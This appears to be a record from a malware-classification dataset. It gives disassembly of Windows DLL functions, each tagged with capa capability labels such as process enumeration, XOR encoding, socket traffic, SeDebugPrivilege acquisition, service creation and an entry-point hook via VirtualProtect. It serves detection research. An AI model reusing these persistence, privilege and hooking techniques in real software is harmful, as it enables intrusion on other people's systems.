joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800062d4
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x2a0
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rdi, rcx
mov qword [rsp + 0x40], rcx
and dword [rsp + 0x28], 0
lea rdx, [0x18007e788]
call fcn.1800126c4
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x50], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
lea rdx, [rsp + 0x50]
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x180006431
lea rdx, [rsp + 0x50]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x180006431
mov edx, dword [rsp + 0x58]
lea rcx, [rsp + 0x20]
call fcn.180006100
nop
lea rdx, [0x18007e786]
lea rcx, [rsp + 0x20]
call fcn.18001316c
test al, al
je 0x1800063fb
lea rdx, [0x18007e788]
lea rcx, [rsp + 0x30]
call fcn.1800126c4
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180012fe4
nop
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov rcx, rdi
call fcn.1800017d8
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800063da
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x1800063fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18000641c
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x18000635e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rdi
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.1800520e0
mov rbx, qword [rsp + 0x2b8]
add rsp, 0x2a0
pop rdi
ret
Function at 0x18001de38
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov rbx, r9
mov rdi, r8
call fcn.180048f00
cmp rax, 0xffffffffffffffff
je 0x18001de67
test rax, rax
jne 0x18001de82
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
mov r9, rbx
mov r8, rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x18001dec4
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x60
xor ebx, ebx
lea rcx, [rsp + 0x24]
xor edx, edx
lea r8d, [rbx + 0x1c]
mov dword [rsp + 0x20], ebx
call fcn.180054ba0
lea rcx, [rsp + 0x40]
lea rdx, [0x1800a4300]
lea r8d, [rbx + 0x20]
call fcn.18005a1e0
mov eax, dword [0x1800a4300]
mov r11d, dword [0x1800a4320]
mov r9, qword [rsp + 0x40]
lea ecx, [rax + r11 + 0x4d34d34d]
mov eax, dword [0x1800a4304]
cmp ecx, r9d
mov dword [0x1800a4300], ecx
mov edx, ebx
setb dl
shr r9, 0x20
mov ecx, ebx
lea r8d, [rax + rdx - 0x2cb2cb2d]
mov eax, dword [0x1800a4308]
cmp r8d, r9d
mov dword [0x1800a4304], r8d
mov r8, qword [rsp + 0x48]
setb cl
lea edx, [rax + rcx + 0x34d34d34]
mov eax, dword [0x1800a430c]
mov ecx, ebx
cmp edx, r8d
mov dword [0x1800a4308], edx
setb cl
shr r8, 0x20
lea edx, [rax + rcx + 0x4d34d34d]
mov eax, dword [0x1800a4310]
mov ecx, ebx
cmp edx, r8d
mov r8, qword [rsp + 0x50]
mov dword [0x1800a430c], edx
setb cl
lea edx, [rax + rcx - 0x2cb2cb2d]
mov eax, dword [0x1800a4314]
mov ecx, ebx
cmp edx, r8d
mov dword [0x1800a4310], edx
setb cl
shr r8, 0x20
lea edx, [rax + rcx + 0x34d34d34]
mov eax, dword [0x1800a4318]
mov ecx, ebx
cmp edx, r8d
mov r8, qword [rsp + 0x58]
mov dword [0x1800a4314], edx
setb cl
lea edx, [rax + rcx + 0x4d34d34d]
mov eax, dword [0x1800a431c]
mov ecx, ebx
cmp edx, r8d
mov dword [0x1800a4318], edx
setb cl
shr r8, 0x20
lea edx, [rax + rcx - 0x2cb2cb2d]
mov eax, ebx
cmp edx, r8d
mov dword [0x1800a431c], edx
setb al
mov dword [0x1800a4320], eax
lea rax, [0x1800a42e0]
mov r9d, dword [rbx + rax + 0x20]
add r9d, dword [rbx + rax]
add rbx, 4
movzx ecx, r9w
mov edx, r9d
shr edx, 0x10
mov r8d, ecx
mov eax, edx
imul r9d, r9d
imul r8d, ecx
shr r8d, 0x11
imul eax, ecx
imul edx, edx
add r8d, eax
shr r8d, 0xf
add r8d, edx
xor r8d, r9d
cmp rbx, 0x20
mov dword [rsp + rbx + 0x1c], r8d
jl 0x18001e001
mov r11d, dword [rsp + 0x38]
mov r10d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x20]
mov r9d, dword [rsp + 0x28]
mov r8d, dword [rsp + 0x30]
mov eax, r11d
rol eax, 0x10
mov ecx, r10d
add eax, edx
rol ecx, 0x10
add ecx, eax
mov eax, edx
rol eax, 8
mov dword [0x1800a42e0], ecx
mov ecx, dword [rsp + 0x24]
add eax, ecx
add eax, r10d
mov dword [0x1800a42e4], eax
mov eax, ecx
rol eax, 0x10
rol edx, 0x10
add eax, r9d
add edx, eax
mov eax, r9d
rol eax, 8
mov dword [0x1800a42e8], edx
mov edx, dword [rsp + 0x2c]
add eax, edx
add eax, ecx
mov ecx, dword [rsp + 0x34]
mov dword [0x1800a42ec], eax
mov eax, edx
rol eax, 0x10
rol r9d, 0x10
add eax, r8d
add r9d, eax
mov eax, r8d
rol eax, 8
mov dword [0x1800a42f0], r9d
add eax, ecx
add eax, edx
mov dword [0x1800a42f4], eax
mov eax, ecx
rol eax, 0x10
rol r8d, 0x10
add eax, r11d
add r8d, eax
rol r11d, 8
mov al, 1
add r11d, ecx
mov dword [0x1800a42f8], r8d
add r11d, r10d
mov dword [0x1800a42fc], r11d
add rsp, 0x60
pop rbx
ret
Function at 0x18001e138
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea r9, str.01DE239C67458F
xor edx, edx
mov rcx, r9
call fcn.18001de90
mov edx, 4
mov rcx, r9
mov ebx, eax
call fcn.18001de90
mov edx, 8
mov rcx, r9
mov r10d, eax
call fcn.18001de90
mov edx, reloc.WS2_32.dll_inet_ntoa
mov rcx, r9
mov r11d, eax
call fcn.18001de90
mov ecx, ebx
shl ecx, 0x10
mov r9d, eax
mov dword [0x1800a42e0], eax
mov edx, r10d
mov dword [0x1800a42e8], r11d
mov dword [0x1800a42f8], ebx
shr edx, 0x10
mov dword [0x1800a42f0], r10d
lea rdi, [0x1800a42e0]
or edx, ecx
mov ecx, ebx
shr ecx, 0x10
mov dword [0x1800a42e4], edx
mov edx, eax
shl edx, 0x10
or edx, ecx
mov ecx, eax
mov eax, r11d
shl eax, 0x10
shr ecx, 0x10
mov dword [0x1800a42ec], edx
or ecx, eax
mov eax, r10d
shl eax, 0x10
mov dword [0x1800a42f4], ecx
mov ecx, r11d
shr ecx, 0x10
or ecx, eax
mov eax, r10d
rol eax, 0x10
mov dword [0x1800a42fc], ecx
mov dword [0x1800a4300], eax
mov eax, r9d
xor eax, r11d
movzx ecx, ax
mov eax, ebx
xor ecx, r9d
rol eax, 0x10
mov dword [0x1800a4308], eax
mov dword [0x1800a4304], ecx
mov eax, r11d
xor eax, r10d
movzx ecx, ax
mov eax, r9d
xor r9d, ebx
xor ecx, r11d
rol eax, 0x10
mov dword [0x1800a4310], eax
mov dword [0x1800a430c], ecx
mov eax, r10d
xor eax, ebx
movzx ecx, ax
movzx eax, r9w
xor ecx, r10d
xor eax, ebx
rol r11d, 0x10
and dword [0x1800a4320], 0
mov dword [0x1800a4318], r11d
mov dword [0x1800a431c], eax
mov dword [0x1800a4314], ecx
mov ebx, 4
mov rcx, rdi
call fcn.18001dec4
sub rbx, 1
jne 0x18001e270
lea r8d, [rbx - 4]
lea rdx, [0x1800a4300]
mov rcx, r8
inc r8d
and ecx, 7
mov ecx, dword [rdi + rcx*4]
xor dword [rdx], ecx
lea rcx, [0x1800a4320]
add rdx, 4
cmp rdx, rcx
jl 0x18001e289
mov al, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001f060
Capabilities:
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
lea r8, str.GlobalFD921876_60EB_4799_A084_872BEDB29151
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
xor ebx, ebx
mov rdi, rax
cmp rax, rbx
je 0x18001f0ea
lea edx, [rbx + 4]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x20], 0x400
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rax
cmp rax, rbx
je 0x18001f0dd
xor eax, eax
mov byte [rsp + 0x30], bl
mov qword [rsp + 0x31], rax
mov rax, qword [rcx]
mov qword [rsp + 0x30], rax
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
lea rcx, [rsp + 0x30]
call fcn.180053e50
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x18001f0f4
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1800520e0
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180023fec
Capabilities:
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x80
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x70], rax
xor esi, esi
mov rbx, r8
mov edi, edx
mov rbp, rcx
cmp qword [rcx + 8], rsi
jne 0x180024020
xor eax, eax
jmp 0x1800240da
mov r12d, 0x21
lea rcx, [rsp + 0x44]
xor edx, edx
mov r8, r12
call fcn.180054ba0
mov ecx, dword [0x1800a42d0]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x34], 0x3e8
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x3c], esi
mov dword [rsp + 0x40], edi
call qword [sym.imp.WS2_32.dll_ntohl]
mov dword [rsp + 0x68], eax
movzx eax, word [rbp]
mov word [rsp + 0x6c], ax
cmp rbx, rsi
je 0x180024098
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
dec rcx
cmp rcx, 0x20
jne 0x180024098
lea rcx, [rsp + 0x44]
mov r8, rbx
mov rdx, r12
call fcn.180054018
jmp 0x1800240a7
lea rcx, [rsp + 0x44]
mov r8, r12
xor edx, edx
call fcn.180054ba0
mov rcx, qword [rbp + 8]
xor r9d, r9d
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
lea rdx, [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
lea r8d, [r9 + 0x40]
mov qword [rsp + 0x20], rdx
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_sendto]
cmp eax, esi
setg sil
mov eax, esi
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.1800520e0
add rsp, 0x80
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800280e8
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push rbx
sub rsp, 0x2d0
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x2c0], rax
cmp dword [0x1800a4ca4], 0
mov rbx, rcx
jne 0x180028163
lea rdx, [rsp + 0x20]
mov ecx, 0x202
mov dword [0x1800a4ca4], 1
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea rcx, [rsp + 0x1c0]
mov edx, 0x100
call qword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x180028163
lea rcx, [rsp + 0x1c0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x180028163
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov eax, dword [rcx]
mov dword [0x1800a42d0], eax
mov rax, rbx
mov rcx, qword [rsp + 0x2c0]
xor rcx, rsp
call fcn.1800520e0
add rsp, 0x2d0
pop rbx
ret
Function at 0x1800290e8
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov edi, r8d
mov rsi, rdx
cmp r8d, ebx
mov rbp, rcx
mov eax, ebx
jle 0x180029132
mov rcx, qword [rbp]
mov r8d, edi
movsxd rdx, ebx
sub r8d, ebx
add rdx, rsi
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x180029132
add ebx, eax
cmp ebx, edi
jl 0x18002910e
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
cmp ebx, edi
mov rbx, qword [rsp + 0x30]
cmove eax, edi
add rsp, 0x20
pop rdi
ret

Function at 0x180029260
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rcx, qword [rcx]
mov rsi, qword [rsp + 0x90]
lea rdi, [r11 - 0x30]
lea rax, [r11 - 0x38]
xor ebx, ebx
mov r8d, 0x3e8
cmp r9, rbx
mov qword [r11 - 0x40], rax
mov dword [rsp + 0x30], reloc.WS2_32.dll_recv
cmovne rdi, r9
xor r9d, r9d
mov qword [r11 - 0x48], rdi
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp eax, 0xffffffff
cmove eax, ebx
cmp rsi, rbx
je 0x1800292cd
mov ecx, dword [0x1800a42d0]
cmp dword [rdi + 4], ecx
sete bl
mov dword [rsi], ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800520e0
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x18002a0f8
Capabilities:
Hash data with md5

Disassembly:
mov r11, rsp
push rbx
push rsi
push rdi
sub rsp, 0x110
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x100], rax
mov rbx, r8
mov rsi, rdx
mov rdi, rcx
xor edx, edx
lea r8d, [rdx + 0x32]
lea rcx, [r11 - 0x60]
call fcn.180054ba0
mov byte [rsp + 0x98], 0
and dword [rsp + 0x40], 0
and dword [rsp + 0x44], 0
mov dword [rsp + 0x30], 0x67452301
mov dword [rsp + 0x34], 0xefcdab89
mov dword [rsp + 0x38], 0x98badcfe
mov dword [rsp + 0x3c], 0x10325476
mov r8d, esi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1800292fc
cmp byte [rsp + 0x98], 0
jne 0x18002a18e
lea rcx, [rsp + 0x30]
call fcn.1800293d4
xor edx, edx
cmp edx, 0x10
jae 0x18002a1a7
mov al, byte [rsp + rdx + 0x88]
mov byte [rsp + rdx + 0xc8], al
inc edx
jmp 0x18002a190
xor edx, edx
lea r8d, [rdx + 0x28]
lea rcx, [rsp + 0xa0]
call fcn.180054ba0
xor edi, edi
cmp edi, 0x10
jge 0x18002a1eb
movsxd rax, edi
movzx r8d, byte [rsp + rax + 0xc8]
lea eax, [rdi + rdi]
movsxd rcx, eax
lea rcx, [rsp + rcx + 0xa0]
lea rdx, str._.2x
call fcn.180053d4c
inc edi
jmp 0x18002a1bc
lea rdx, [rsp + 0xa0]
mov cl, byte [rdx]
mov byte [rbx], cl
inc rdx
inc rbx
test cl, cl
jne 0x18002a1f3
mov eax, 1
jmp 0x18002a20a
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.1800520e0
add rsp, 0x110
pop rdi
pop rsi
pop rbx
ret

Function at 0x18002aeec
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
lea rdi, str.Kernel32.dll
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InitializeSRWLock
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [0x1800a4340], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.AcquireSRWLockShared
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [0x1800a4348], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.AcquireSRWLockExclusive
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [0x1800a4350], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.ReleaseSRWLockShared
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rdi
mov qword [0x1800a4358], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.ReleaseSRWLockExclusive
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [0x1800a4340]
xor ecx, ecx
mov qword [0x1800a4360], rax
cmp rdx, rcx
je 0x18002afdf
cmp qword [0x1800a4348], rcx
je 0x18002afdf
cmp qword [0x1800a4350], rcx
je 0x18002afdf
cmp qword [0x1800a4358], rcx
je 0x18002afdf
cmp rax, rcx
je 0x18002afdf
mov rcx, rbx
mov dword [0x1800a433c], 1
call rdx
jmp 0x18002afef
mov dword [0x1800a433c], ecx
lea rcx, [rbx + 8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18002f0ec
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x34], esi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r9, [rsp + 0x34]
lea r8d, [rsi + 8]
lea rdx, [rsp + 0x38]
mov rcx, rax
call sub.PSAPI.DLL_EnumProcessModules
mov rbx, qword [rsp + 0x38]
cmp rbx, rsi
je 0x18002f1fb
lea edx, [rsi + 4]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, esi
jne 0x18002f170
movsxd rdi, dword [rbx + 0x3c]
add rdi, rbx
je 0x18002f170
lea edx, [rsi + 4]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, esi
jne 0x18002f170
mov ecx, dword [rdi + 0x28]
add rcx, rbx
jmp 0x18002f173
mov rcx, rsi
mov qword [0x1800a4368], rcx
cmp rcx, rsi
je 0x18002f1fb
mov edx, reloc.WS2_32.dll_inet_ntoa
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], esi
lea r8d, [rdx + 0x34]
mov byte [rsp + 0x40], 0x48
mov byte [rsp + 0x41], 0xb8
mov byte [rsp + 0x42], sil
mov byte [rsp + 0x43], sil
mov byte [rsp + 0x44], sil
mov byte [rsp + 0x45], sil
mov byte [rsp + 0x46], sil
mov byte [rsp + 0x47], sil
mov byte [rsp + 0x48], sil
mov byte [rsp + 0x49], sil
mov byte [rsp + 0x4a], 0xff
mov byte [rsp + 0x4b], 0xe0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, esi
je 0x18002f1fb
mov rcx, qword [0x1800a4368]
lea rax, [0x18002f0e0]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x42], rax
mov rax, qword [rdx]
mov qword [rcx], rax
mov eax, dword [rdx + 8]
mov dword [rcx + 8], eax
call fcn.18004f540
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.18004fff0
lea rdx, [fcn.18004a40c]
lea rcx, [0x1800a4938]
call fcn.1800500e0
call fcn.18004f810
mov r8, qword [0x1800a4940]
mov edx, 5
lea rcx, [0x1800a42d4]
mov r9, rdx
call fcn.18005217c
lea r8, [0x18002f064]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call fcn.18001de38
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800520e0
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x18002f93c
Capabilities:
Get local ipv4 addresses

Disassembly:
mov rax, rsp
push r13
sub rsp, 0xf0
mov qword [rsp + 0x40], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov eax, 0x3a98
mov dword [rsp + 0x30], eax
mov ecx, eax
call fcn.180052aa0
mov rsi, rax
test rax, rax
je 0x18002face
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9, rsi
xor r8d, r8d
mov edx, 0x90
xor ecx, ecx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
cmp eax, 0x6f
jne 0x18002f9be
mov rcx, rsi
call fcn.1800529c4
mov eax, dword [rsp + 0x30]
jmp 0x18002f97c
test eax, eax
jne 0x18002fac6
mov rbx, rsi
lea r13d, [rax + 2]
cmp dword [rbx + 0x64], 6
je 0x18002f9dd
cmp dword [rbx + 0x64], 0x47
jne 0x18002fab9
mov rbp, qword [rbx + 0x30]
test rbp, rbp
je 0x18002fab9
mov byte [rsp + 0x50], 0
xor edx, edx
mov r8d, 0x81
lea rcx, [rsp + 0x51]
call fcn.180054ba0
mov rdx, qword [rbp + 0x10]
cmp r13w, word [rdx]
jne 0x18002fa22
add rdx, 4
mov r9d, 0x82
lea r8, [rsp + 0x50]
mov ecx, r13d
call sub.WS2_32.dll_inet_ntop
lea rcx, section..data
mov rax, qword [section..data]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x38], rax
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
not rcx
lea r8d, [rcx - 1]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x38]
call fcn.180002aa4
mov rdi, qword [rsp + 0x38]
cmp dword [rdi - 0x10], 0
jle 0x18002fa91
lea rdx, str.127.0.0.1
mov rcx, rdi
call fcn.180053a70
test eax, eax
setne al
test al, al
je 0x18002fa91
mov rdx, rdi
lea rcx, [0x1800a4970]
call fcn.18002f82c
mov rbp, qword [rbp + 8]
lea rdx, [rdi - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x18002fab0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test rbp, rbp
jne 0x18002f9ea
mov rbx, qword [rbx + 8]
test rbx, rbx
jne 0x18002f9cd
mov rcx, rsi
call fcn.1800529c4
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1800520e0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r13
ret
Function at 0x1800354ec
Capabilities:
Acquire debug privileges
Create service
Start service

Disassembly:
mov rax, rsp
push rsi
push rdi
push r12
sub rsp, 0x2c0
mov qword [rsp + 0x90], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rax, qword [0x18009c600]
xor rax, rsp
mov qword [rsp + 0x2b0], rax
mov r12, r8
mov rsi, rdx
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x70]
lea edx, [rbx + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
cmp eax, ebx
je 0x1800355cc
lea r8, [rsp + 0x78]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
cmp eax, ebx
jne 0x180035568
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800355cc
mov dword [rsp + 0x80], 1
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x84], rax
mov dword [rsp + 0x8c], 2
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x80]
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp eax, ebx
jne 0x1800355c1
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1800355cc
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rdi, rax
cmp rax, rbx
je 0x180035709
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rbx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
mov r9d, 0xf01ff
mov r8, rsi
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov r12, rax
cmp rax, rbx
jne 0x180035681
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180035659
cmp eax, 0x431
je 0x180035659
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180035709
mov r8d, 0xf01ff
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r12, rax
cmp rax, rbx
jne 0x180035681
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180035709
xor r8d, r8d
xor edx, edx
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
cmp eax, ebx
jne 0x180035704
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp eax, 0x3e5
je 0x1800356f2
cmp eax, 0x420
je 0x1800356f2
mov word [rsp + 0xa0], bx
xor edx, edx
mov r8d, 0x206
lea rcx, [rsp + 0xa2]
call fcn.180054ba0
mov r8d, esi
lea rdx, str.StartService_error:_X_n
lea rcx, [rsp + 0xa0]
call qword [sym.imp.USER32.dll_wsprintfW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x180035709
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, 1
mov eax, ebx
jmp 0x18003570f
mov rcx, qword [rsp + 0x2b0]
xor rcx, rsp
call fcn.1800520e0
mov rbx, qword [rsp + 0x2e0]
add rsp, 0x2c0
pop r12
pop rdi
pop rsi
ret